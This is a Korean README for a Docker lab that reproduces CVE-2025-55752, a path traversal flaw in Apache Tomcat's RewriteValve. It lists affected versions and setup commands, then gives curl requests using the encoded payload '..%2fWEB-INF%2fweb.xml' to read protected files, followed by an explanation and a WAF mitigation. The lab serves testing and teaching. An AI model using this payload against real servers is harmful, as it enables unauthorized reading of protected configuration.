
# CVE-2025-55752 재현 환경 (Docker 기반) Apache Tomcat의 RewriteValve에 존재하는 경로 탐색(path traversal) 취약점인 CVE-2025-55752를 위한 Docker 기반 재현 환경으로, 디코딩 전 정규화(normalize-before-decode) 결함을 시연하고 테스트 명령어를 제공합니다.
CVE-2025-55752(아파치 톰캣 10.1.44의 경로 탐색 취약점)를 재현하기 위한 Docker 기반 환경입니다.
CVE-2025-55752는 Apache Tomcat의 RewriteValve에서 URL 정규화가 URL 디코딩보다 먼저 발생하는 잘못된 처리 순서로 인해 발생하는 경로 탐색 취약점입니다. 이로 인해 공격자는 URL 인코딩된 경로 탐색 시퀀스(..%2f)를 사용하여 /WEB-INF/와 같은 디렉토리를 보호하는 보안 제약을 우회할 수 있습니다.
| 시리즈 | 취약한 버전 | 패치된 버전 |
|---|
| 11.x | 11.0.0-M1 ~ 11.0.10 | 11.0.11+ |
| 10.1.x | 10.1.0-M1 ~ 10.1.44 | 10.1.45+ |
| 9.0.x | 9.0.0-M11 ~ 9.0.108 | 9.0.109+ |
| 8.5.x | 8.5.6 ~ 8.5.100 | EOL - 패치 없음 |
git clone https://github.com/masahiro331/CVE-2025-55752.git
cd CVE-2025-55752
docker-compose up -d
curl http://localhost:8080/
curl -I 'http://localhost:8080/WEB-INF/web.xml'
예상 결과: 403 Forbidden
curl -s 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml' | head -5
curl -I 'http://localhost:8080/download?path=..%2fWEB-INF%2fweb.xml'
예상 결과: 200 OK + web.xml 내용 (취약점 확인됨)
/download?path=..%2fWEB-INF%2fweb.xml/files/..%2fWEB-INF%2fweb.xml%2f가 /로 인식되지 않아 ..가 유지됨%2f → / → /files/../WEB-INF/web.xml/WEB-INF/web.xml올바른 순서: 디코딩 → 정규화 → 보안 검사
취약한 순서: 정규화 → 디코딩 → 보안 검사 ✗
../ 및 %2e%2e를 차단하는 WAF 규칙⚠️ 경고: 프로덕션 환경에 배포하지 마십시오. 격리된 테스트 환경에서만 사용하십시오.